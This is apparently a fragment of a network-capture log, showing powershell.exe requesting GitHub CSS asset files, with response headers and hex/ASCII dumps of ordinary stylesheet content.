2024-09-30 13:50:12 UTC	1378	IN	Data Raw: 5b 64 61 74 61 2d 63 6f 6c 6f 72 2d 6d 6f 64 65 3d 6c 69 67 68 74 5d 5b 64 61 74 61 2d 6c 69 67 68 74 2d 74 68 65 6d 65 2a 3d 64 61 72 6b 5d 2c 5b 64 61 74 61 2d 63 6f 6c 6f 72 2d 6d 6f 64 65 3d 64 61 72 6b 5d 5b 64 61 74 61 2d 64 61 72 6b 2d 74 68 65 6d 65 2a 3d 64 61 72 6b 5d 7b 2d 2d 63 6f 6c 6f 72 2d 6d 6b 74 67 2d 62 74 6e 2d 73 68 61 64 6f 77 2d 6f 75 74 6c 69 6e 65 3a 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 32 35 29 20 30 20 30 20 30 20 31 70 78 20 69 6e 73 65 74 3b 2d 2d 63 6f 6c 6f 72 2d 6d 6b 74 67 2d 62 74 6e 2d 62 67 3a 23 66 36 66 38 66 61 3b 2d 2d 63 6f 6c 6f 72 2d 6d 6b 74 67 2d 62 74 6e 2d 73 68 61 64 6f 77 2d 66 6f 63 75 73 3a 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 32 35 29 20 30 20 30 Data Ascii: [data-color-mode=light][data-light-theme=dark],[data-color-mode=dark][data-dark-theme=dark]{--color-mktg-btn-shadow-outline:rgba(255, 255, 255, 0.25) 0 0 0 1px inset;--color-mktg-btn-bg:#f6f8fa;--color-mktg-btn-shadow-focus:rgba(255, 255, 255, 0.25) 0 0
2024-09-30 13:50:12 UTC	1378	IN	Data Raw: 6f 72 2d 6d 6b 74 67 2d 62 74 6e 2d 62 67 3a 23 66 36 66 38 66 61 3b 2d 2d 63 6f 6c 6f 72 2d 6d 6b 74 67 2d 62 74 6e 2d 73 68 61 64 6f 77 2d 66 6f 63 75 73 3a 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 32 35 29 20 30 20 30 20 30 20 34 70 78 3b 2d 2d 63 6f 6c 6f 72 2d 6d 6b 74 67 2d 62 74 6e 2d 73 68 61 64 6f 77 2d 68 6f 76 65 72 3a 30 20 34 70 78 20 37 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 31 35 29 2c 20 30 20 31 30 30 70 78 20 38 30 70 78 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 30 32 29 2c 20 30 20 34 32 70 78 20 33 33 70 78 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 30 32 34 29 2c 20 30 20 32 32 70 78 20 31 38 70 78 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 Data Ascii: or-mktg-btn-bg:#f6f8fa;--color-mktg-btn-shadow-focus:rgba(255, 255, 255, 0.25) 0 0 0 4px;--color-mktg-btn-shadow-hover:0 4px 7px rgba(0, 0, 0, 0.15), 0 100px 80px rgba(255, 255, 255, 0.02), 0 42px 33px rgba(255, 255, 255, 0.024), 0 22px 18px rgba(255, 255
2024-09-30 13:50:12 UTC	900	IN	Data Raw: 2c 20 30 2c 20 30 2c 20 30 2e 30 33 29 2c 20 30 20 34 32 70 78 20 33 33 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 30 32 29 2c 20 30 20 31 30 30 70 78 20 38 30 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 30 32 29 3b 2d 2d 63 6f 6c 6f 72 2d 6d 6b 74 67 2d 62 74 6e 2d 73 68 61 64 6f 77 2d 68 6f 76 65 72 2d 6d 75 74 65 64 3a 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 37 29 20 30 20 30 20 30 20 32 70 78 20 69 6e 73 65 74 7d 7d 40 6d 65 64 69 61 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 20 64 61 72 6b 29 7b 5b 64 61 74 61 2d 63 6f 6c 6f 72 2d 6d 6f 64 65 3d 61 75 74 6f 5d 5b 64 61 74 61 2d 64 61 72 6b 2d 74 68 65 6d 65 2a 3d 6c 69 67 68 74 5d 7b 2d 2d 63 6f 6c 6f 72 2d 6d 6b 74 67 2d 62 74 6e 2d 73 68 61 Data Ascii: , 0, 0, 0.03), 0 42px 33px rgba(0, 0, 0, 0.02), 0 100px 80px rgba(0, 0, 0, 0.02);--color-mktg-btn-shadow-hover-muted:rgba(0, 0, 0, 0.7) 0 0 0 2px inset}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light]{--color-mktg-btn-sha

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49721	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:13 UTC	355	OUT	GET /assets/site-fbd7cf8f6ba2.css HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:13 UTC	680	IN	HTTP/1.1 200 OK Connection: close Content-Length: 72909 Cache-Control: public, max-age=31536000, immutable Content-Type: text/css Last-Modified: Thu, 19 Sep 2024 21:03:36 GMT ETag: "0x8DCD8EE874B621E" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 591363 Date: Mon, 30 Sep 2024 13:50:13 GMT X-Served-By: cache-iad-kjyo7100152-IAD, cache-nyc-kteb1890038-NYC X-Cache: HIT, HIT X-Cache-Hits: 28, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 6240a86fe439aeafcbda0d2a99437db66cc5a4af
2024-09-30 13:50:13 UTC	16384	IN	Data Raw: 2f 2a 21 0a 20 2a 20 40 70 72 69 6d 65 72 2f 63 73 73 2f 6d 61 72 6b 65 74 69 6e 67 0a 20 2a 20 68 74 74 70 3a 2f 2f 70 72 69 6d 65 72 2e 73 74 79 6c 65 2f 63 73 73 0a 20 2a 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 6c 69 63 65 6e 73 65 2e 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 39 20 47 69 74 48 75 62 20 49 6e 63 2e 0a 20 2a 2f 5b 64 61 74 61 2d 63 6f 6c 6f 72 2d 6d 6f 64 65 3d 6c 69 67 68 74 5d 5b 64 61 74 61 2d 6c 69 67 68 74 2d 74 68 65 6d 65 2a 3d 64 61 72 6b 5d 2c 5b 64 61 74 61 2d 63 6f 6c 6f 72 2d 6d 6f 64 65 3d 64 61 72 6b 5d 5b 64 61 74 61 2d 64 61 72 6b 2d 74 68 65 6d 65 2a 3d 64 61 72 6b 5d 7b 2d 2d 63 6f 6c 6f 72 2d 6d 6b 74 67 2d 62 74 6e 2d 73 68 61 64 6f 77 2d 6f 75 74 6c 69 6e 65 3a 72 67 62 61 28 Data Ascii: /! @primer/css/marketing * http://primer.style/css * * Released under MIT license. Copyright (c) 2019 GitHub Inc. /[data-color-mode=light][data-light-theme=dark],[data-color-mode=dark][data-dark-theme*=dark]{--color-mktg-btn-shadow-outline:rgba(
2024-09-30 13:50:13 UTC	16384	IN	Data Raw: 73 69 67 6e 75 70 2d 6d 6b 74 67 3a 3a 62 65 66 6f 72 65 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 38 30 64 65 67 2c 20 72 67 62 61 28 35 32 2c 20 31 38 33 2c 20 38 39 2c 20 30 2e 31 35 29 20 30 25 2c 20 72 67 62 61 28 34 36 2c 20 31 36 34 2c 20 37 39 2c 20 30 29 20 31 30 30 25 29 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 62 74 6e 2d 73 69 67 6e 75 70 2d 6d 6b 74 67 3a 66 6f 63 75 73 7b 6f 75 74 6c 69 6e 65 3a 32 70 78 20 73 6f 6c 69 64 20 76 61 72 28 2d 2d 66 6f 63 75 73 2d 6f 75 74 6c 69 6e 65 43 6f 6c 6f 72 2c 20 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 61 63 63 65 6e 74 2d 66 67 29 29 3b 6f 75 74 6c 69 6e 65 2d 6f 66 66 73 65 74 3a 32 70 78 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 7d 2e 62 74 6e 2d 73 69 67 Data Ascii: signup-mktg::before{background:linear-gradient(180deg, rgba(52, 183, 89, 0.15) 0%, rgba(46, 164, 79, 0) 100%) !important}.btn-signup-mktg:focus{outline:2px solid var(--focus-outlineColor, var(--color-accent-fg));outline-offset:2px;box-shadow:none}.btn-sig
2024-09-30 13:50:13 UTC	16384	IN	Data Raw: 68 74 3a 2d 34 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 62 6f 74 74 6f 6d 2d 6c 67 2d 6e 31 7b 62 6f 74 74 6f 6d 3a 2d 34 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6c 65 66 74 2d 6c 67 2d 6e 31 7b 6c 65 66 74 3a 2d 34 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 74 6f 70 2d 6c 67 2d 32 7b 74 6f 70 3a 38 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 72 69 67 68 74 2d 6c 67 2d 32 7b 72 69 67 68 74 3a 38 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 62 6f 74 74 6f 6d 2d 6c 67 2d 32 7b 62 6f 74 74 6f 6d 3a 38 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6c 65 66 74 2d 6c 67 2d 32 7b 6c 65 66 74 3a 38 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 74 6f 70 2d 6c 67 2d 6e 32 7b 74 6f 70 3a 2d 38 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 72 69 67 68 74 2d Data Ascii: ht:-4px !important}.bottom-lg-n1{bottom:-4px !important}.left-lg-n1{left:-4px !important}.top-lg-2{top:8px !important}.right-lg-2{right:8px !important}.bottom-lg-2{bottom:8px !important}.left-lg-2{left:8px !important}.top-lg-n2{top:-8px !important}.right-
2024-09-30 13:50:13 UTC	16384	IN	Data Raw: 74 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 39 30 30 7d 2e 6c 68 2d 63 6f 6e 64 65 6e 73 65 64 2d 6d 6b 74 67 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 31 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 62 74 6e 2d 6d 6b 74 67 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 76 61 72 28 2d 2d 62 61 73 65 2d 73 69 7a 65 2d 31 36 29 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 76 61 72 28 2d 2d 62 61 73 65 2d 73 69 7a 65 2d 31 36 29 7d 2e 62 74 6e 2d 73 6d 61 6c 6c 2d 6d 6b 74 67 7b 70 61 64 64 69 6e 67 3a 2e 37 72 65 6d 20 76 61 72 28 2d 2d 62 61 73 65 2d 73 69 7a 65 2d 31 36 29 7d 2e 62 74 6e 2d 6c 61 72 67 65 2d 6d 6b 74 67 7b 70 61 64 64 69 6e 67 3a 31 38 70 78 20 33 30 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 74 65 78 74 2d 73 70 61 63 65 64 7b 6c 65 74 74 65 72 Data Ascii: t;font-weight:900}.lh-condensed-mktg{line-height:1.1 !important}.btn-mktg{padding-top:var(--base-size-16);padding-bottom:var(--base-size-16)}.btn-small-mktg{padding:.7rem var(--base-size-16)}.btn-large-mktg{padding:18px 30px !important}.text-spaced{letter
2024-09-30 13:50:13 UTC	7373	IN	Data Raw: 29 20 31 30 30 25 29 7d 2e 70 72 69 63 69 6e 67 2d 63 61 72 64 2d 61 63 63 6f 72 64 69 6f 6e 5b 6f 70 65 6e 5d 20 2e 6f 63 74 69 63 6f 6e 2d 63 68 65 76 72 6f 6e 2d 72 69 67 68 74 7b 68 65 69 67 68 74 3a 61 75 74 6f 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 39 30 64 65 67 29 7d 2e 70 72 69 63 69 6e 67 2d 63 61 72 64 2d 61 63 63 6f 72 64 69 6f 6e 3a 68 6f 76 65 72 20 2e 70 72 69 63 69 6e 67 2d 63 61 72 64 2d 61 63 63 6f 72 64 69 6f 6e 2d 73 74 61 74 65 20 2e 6f 63 74 69 63 6f 6e 7b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 66 67 43 6f 6c 6f 72 2d 6d 75 74 65 64 2c 20 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 66 67 2d 6d 75 74 65 64 29 29 7d 2e 70 72 69 63 69 6e 67 2d 63 61 72 64 2d 61 63 63 6f 72 64 69 6f 6e 2d 73 74 61 74 65 20 2e 6f 63 74 69 63 6f 6e 7b Data Ascii: ) 100%)}.pricing-card-accordion[open] .octicon-chevron-right{height:auto;transform:rotate(90deg)}.pricing-card-accordion:hover .pricing-card-accordion-state .octicon{color:var(--fgColor-muted, var(--color-fg-muted))}.pricing-card-accordion-state .octicon{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49720	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:13 UTC	362	OUT	GET /assets/discussions-adf1d1b8b95c.css HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:13 UTC	682	IN	HTTP/1.1 200 OK Connection: close Content-Length: 5122 Cache-Control: public, max-age=31536000, immutable Content-Type: text/css Last-Modified: Mon, 26 Aug 2024 16:36:00 GMT ETag: "0x8DCC5ED2B79F60D" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 1806841 Date: Mon, 30 Sep 2024 13:50:13 GMT X-Served-By: cache-iad-kcgs7200043-IAD, cache-ewr-kewr1740022-EWR X-Cache: HIT, HIT X-Cache-Hits: 1054, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 9e9f1f9f33a42d406e905e01bb88c4ca7b752a3b
2024-09-30 13:50:13 UTC	1378	IN	Data Raw: 2e 64 69 73 63 75 73 73 69 6f 6e 2d 73 70 6f 74 6c 69 67 68 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 68 65 69 67 68 74 3a 31 35 30 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 2e 64 69 73 63 75 73 73 69 6f 6e 2d 73 70 6f 74 6c 69 67 68 74 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 64 69 73 63 75 73 73 69 6f 6e 2d 74 69 74 6c 65 7b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 76 65 72 74 69 63 61 6c 3b 2d 77 65 62 6b 69 74 2d 6c 69 6e 65 2d 63 6c 61 6d 70 3a 32 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 2e 64 69 73 63 75 73 73 69 6f 6e 2d 73 70 6f 74 6c 69 67 68 74 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 73 70 6f 74 6c 69 67 68 74 2d 61 Data Ascii: .discussion-spotlight-container{height:150px;overflow:hidden;cursor:pointer}.discussion-spotlight-container .discussion-title{display:-webkit-box;-webkit-box-orient:vertical;-webkit-line-clamp:2;overflow:hidden}.discussion-spotlight-container .spotlight-a
2024-09-30 13:50:13 UTC	1378	IN	Data Raw: 7d 2e 73 69 64 65 62 61 72 2d 65 6d 6f 6a 69 2d 62 6f 78 7b 77 69 64 74 68 3a 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 3b 68 65 69 67 68 74 3a 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 64 69 73 63 75 73 73 69 6f 6e 73 2d 74 69 6d 65 6c 69 6e 65 2d 73 63 72 6f 6c 6c 2d 74 61 72 67 65 74 7b 77 69 64 74 68 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 36 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 36 30 70 78 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 64 69 73 63 75 73 73 69 6f 6e 73 2d 74 69 6d 65 6c 69 6e 65 2d 73 63 72 6f 6c 6c 2d 74 61 72 67 65 74 3e 2a 7b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 61 75 74 6f 7d 2e 64 69 73 63 75 73 73 69 6f 6e 73 2d 65 6d 6f 6a 69 2d 62 Data Ascii: }.sidebar-emoji-box{width:auto !important;height:auto !important}.discussions-timeline-scroll-target{width:100%;padding-top:60px;margin-top:-60px;pointer-events:none !important}.discussions-timeline-scroll-target>*{pointer-events:auto}.discussions-emoji-b
2024-09-30 13:50:13 UTC	1378	IN	Data Raw: 2d 6f 75 74 6c 69 6e 65 43 6f 6c 6f 72 2c 20 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 61 63 63 65 6e 74 2d 66 67 29 29 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 69 6e 6c 69 6e 65 2d 63 6f 6d 6d 65 6e 74 2d 66 6f 72 6d 2d 63 6f 6e 74 61 69 6e 65 72 2e 6f 70 65 6e 20 2e 64 69 73 63 75 73 73 69 6f 6e 2d 6e 65 73 74 65 64 2d 63 6f 6d 6d 65 6e 74 2d 69 6e 6c 69 6e 65 2d 66 6f 72 6d 20 2e 70 72 65 76 69 65 77 61 62 6c 65 2d 63 6f 6d 6d 65 6e 74 2d 66 6f 72 6d 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 64 69 73 63 75 73 73 69 6f 6e 2d 66 6f 6f 74 65 72 2d 61 6e 73 77 65 72 65 64 2d 62 61 64 67 65 7b 70 61 64 64 69 6e 67 3a 30 20 76 61 72 28 2d 2d 62 61 73 65 2d 73 69 7a 65 2d 38 29 20 30 20 76 61 72 28 2d 2d 62 61 73 65 2d 73 69 7a 65 2d 34 29 20 21 69 6d 70 6f 72 Data Ascii: -outlineColor, var(--color-accent-fg)) !important}.inline-comment-form-container.open .discussion-nested-comment-inline-form .previewable-comment-form{display:block}.discussion-footer-answered-badge{padding:0 var(--base-size-8) 0 var(--base-size-4) !impor
2024-09-30 13:50:13 UTC	988	IN	Data Raw: 3a 33 30 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 68 65 69 67 68 74 3a 33 30 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 62 67 2d 64 69 73 63 75 73 73 69 6f 6e 73 2d 72 6f 77 2d 65 6d 6f 6a 69 2d 62 6f 78 29 7d 3a 74 61 72 67 65 74 20 2e 6e 65 73 74 65 64 2d 64 69 73 63 75 73 73 69 6f 6e 2d 74 69 6d 65 6c 69 6e 65 2d 63 6f 6d 6d 65 6e 74 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6e 65 73 74 65 64 2d 64 69 73 63 75 73 73 69 6f 6e 2d 74 69 6d 65 6c 69 6e 65 2d 63 6f 6d 6d 65 6e 74 20 2e 6d 61 72 6b 64 6f 77 6e 2d 62 6f 64 79 20 70 72 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 67 43 6f 6c 6f 72 2d 6e 65 75 74 72 Data Ascii: :30px !important;height:30px !important;background:var(--color-bg-discussions-row-emoji-box)}:target .nested-discussion-timeline-comment{box-shadow:none !important}.nested-discussion-timeline-comment .markdown-body pre{background-color:var(--bgColor-neutr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49722	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:14 UTC	355	OUT	GET /assets/home-339181319b7e.css HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:14 UTC	682	IN	HTTP/1.1 200 OK Connection: close Content-Length: 10035 Cache-Control: public, max-age=31536000, immutable Content-Type: text/css Last-Modified: Mon, 26 Aug 2024 16:36:09 GMT ETag: "0x8DCC5ED309145AD" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2923547 Date: Mon, 30 Sep 2024 13:50:14 GMT X-Served-By: cache-iad-kjyo7100069-IAD, cache-nyc-kteb1890051-NYC X-Cache: HIT, HIT X-Cache-Hits: 806, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: f1505435953ab47fa44c4c54f184bc6a37124d64
2024-09-30 13:50:14 UTC	1378	IN	Data Raw: 5b 64 61 74 61 2d 63 6f 6c 6f 72 2d 6d 6f 64 65 3d 6c 69 67 68 74 5d 5b 64 61 74 61 2d 6c 69 67 68 74 2d 74 68 65 6d 65 2a 3d 64 61 72 6b 5d 2c 5b 64 61 74 61 2d 63 6f 6c 6f 72 2d 6d 6f 64 65 3d 64 61 72 6b 5d 5b 64 61 74 61 2d 64 61 72 6b 2d 74 68 65 6d 65 2a 3d 64 61 72 6b 5d 7b 2d 2d 63 6f 6c 6f 72 2d 6d 6b 74 67 2d 62 74 6e 2d 73 68 61 64 6f 77 2d 6f 75 74 6c 69 6e 65 3a 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 32 35 29 20 30 20 30 20 30 20 31 70 78 20 69 6e 73 65 74 3b 2d 2d 63 6f 6c 6f 72 2d 6d 6b 74 67 2d 62 74 6e 2d 62 67 3a 23 66 36 66 38 66 61 3b 2d 2d 63 6f 6c 6f 72 2d 6d 6b 74 67 2d 62 74 6e 2d 73 68 61 64 6f 77 2d 66 6f 63 75 73 3a 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 32 35 29 20 30 20 30 Data Ascii: [data-color-mode=light][data-light-theme=dark],[data-color-mode=dark][data-dark-theme=dark]{--color-mktg-btn-shadow-outline:rgba(255, 255, 255, 0.25) 0 0 0 1px inset;--color-mktg-btn-bg:#f6f8fa;--color-mktg-btn-shadow-focus:rgba(255, 255, 255, 0.25) 0 0
2024-09-30 13:50:14 UTC	1378	IN	Data Raw: 6f 72 2d 6d 6b 74 67 2d 62 74 6e 2d 62 67 3a 23 66 36 66 38 66 61 3b 2d 2d 63 6f 6c 6f 72 2d 6d 6b 74 67 2d 62 74 6e 2d 73 68 61 64 6f 77 2d 66 6f 63 75 73 3a 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 32 35 29 20 30 20 30 20 30 20 34 70 78 3b 2d 2d 63 6f 6c 6f 72 2d 6d 6b 74 67 2d 62 74 6e 2d 73 68 61 64 6f 77 2d 68 6f 76 65 72 3a 30 20 34 70 78 20 37 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 31 35 29 2c 20 30 20 31 30 30 70 78 20 38 30 70 78 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 30 32 29 2c 20 30 20 34 32 70 78 20 33 33 70 78 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 30 32 34 29 2c 20 30 20 32 32 70 78 20 31 38 70 78 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 Data Ascii: or-mktg-btn-bg:#f6f8fa;--color-mktg-btn-shadow-focus:rgba(255, 255, 255, 0.25) 0 0 0 4px;--color-mktg-btn-shadow-hover:0 4px 7px rgba(0, 0, 0, 0.15), 0 100px 80px rgba(255, 255, 255, 0.02), 0 42px 33px rgba(255, 255, 255, 0.024), 0 22px 18px rgba(255, 255
2024-09-30 13:50:14 UTC	1378	IN	Data Raw: 2c 20 30 2c 20 30 2c 20 30 2e 30 33 29 2c 20 30 20 34 32 70 78 20 33 33 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 30 32 29 2c 20 30 20 31 30 30 70 78 20 38 30 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 30 32 29 3b 2d 2d 63 6f 6c 6f 72 2d 6d 6b 74 67 2d 62 74 6e 2d 73 68 61 64 6f 77 2d 68 6f 76 65 72 2d 6d 75 74 65 64 3a 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 37 29 20 30 20 30 20 30 20 32 70 78 20 69 6e 73 65 74 7d 7d 40 6d 65 64 69 61 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 20 64 61 72 6b 29 7b 5b 64 61 74 61 2d 63 6f 6c 6f 72 2d 6d 6f 64 65 3d 61 75 74 6f 5d 5b 64 61 74 61 2d 64 61 72 6b 2d 74 68 65 6d 65 2a 3d 6c 69 67 68 74 5d 7b 2d 2d 63 6f 6c 6f 72 2d 6d 6b 74 67 2d 62 74 6e 2d 73 68 61 Data Ascii: , 0, 0, 0.03), 0 42px 33px rgba(0, 0, 0, 0.02), 0 100px 80px rgba(0, 0, 0, 0.02);--color-mktg-btn-shadow-hover-muted:rgba(0, 0, 0, 0.7) 0 0 0 2px inset}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light]{--color-mktg-btn-sha
2024-09-30 13:50:14 UTC	1378	IN	Data Raw: 64 61 72 6b 5d 7b 2d 2d 63 6f 6c 6f 72 2d 6d 6b 74 67 2d 62 74 6e 2d 73 68 61 64 6f 77 2d 6f 75 74 6c 69 6e 65 3a 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 32 35 29 20 30 20 30 20 30 20 31 70 78 20 69 6e 73 65 74 3b 2d 2d 63 6f 6c 6f 72 2d 6d 6b 74 67 2d 62 74 6e 2d 62 67 3a 23 66 36 66 38 66 61 3b 2d 2d 63 6f 6c 6f 72 2d 6d 6b 74 67 2d 62 74 6e 2d 73 68 61 64 6f 77 2d 66 6f 63 75 73 3a 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 32 35 29 20 30 20 30 20 30 20 34 70 78 3b 2d 2d 63 6f 6c 6f 72 2d 6d 6b 74 67 2d 62 74 6e 2d 73 68 61 64 6f 77 2d 68 6f 76 65 72 3a 30 20 34 70 78 20 37 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 31 35 29 2c 20 30 20 31 30 30 70 78 20 38 30 70 78 20 72 67 62 61 28 32 35 Data Ascii: dark]{--color-mktg-btn-shadow-outline:rgba(255, 255, 255, 0.25) 0 0 0 1px inset;--color-mktg-btn-bg:#f6f8fa;--color-mktg-btn-shadow-focus:rgba(255, 255, 255, 0.25) 0 0 0 4px;--color-mktg-btn-shadow-hover:0 4px 7px rgba(0, 0, 0, 0.15), 0 100px 80px rgba(25
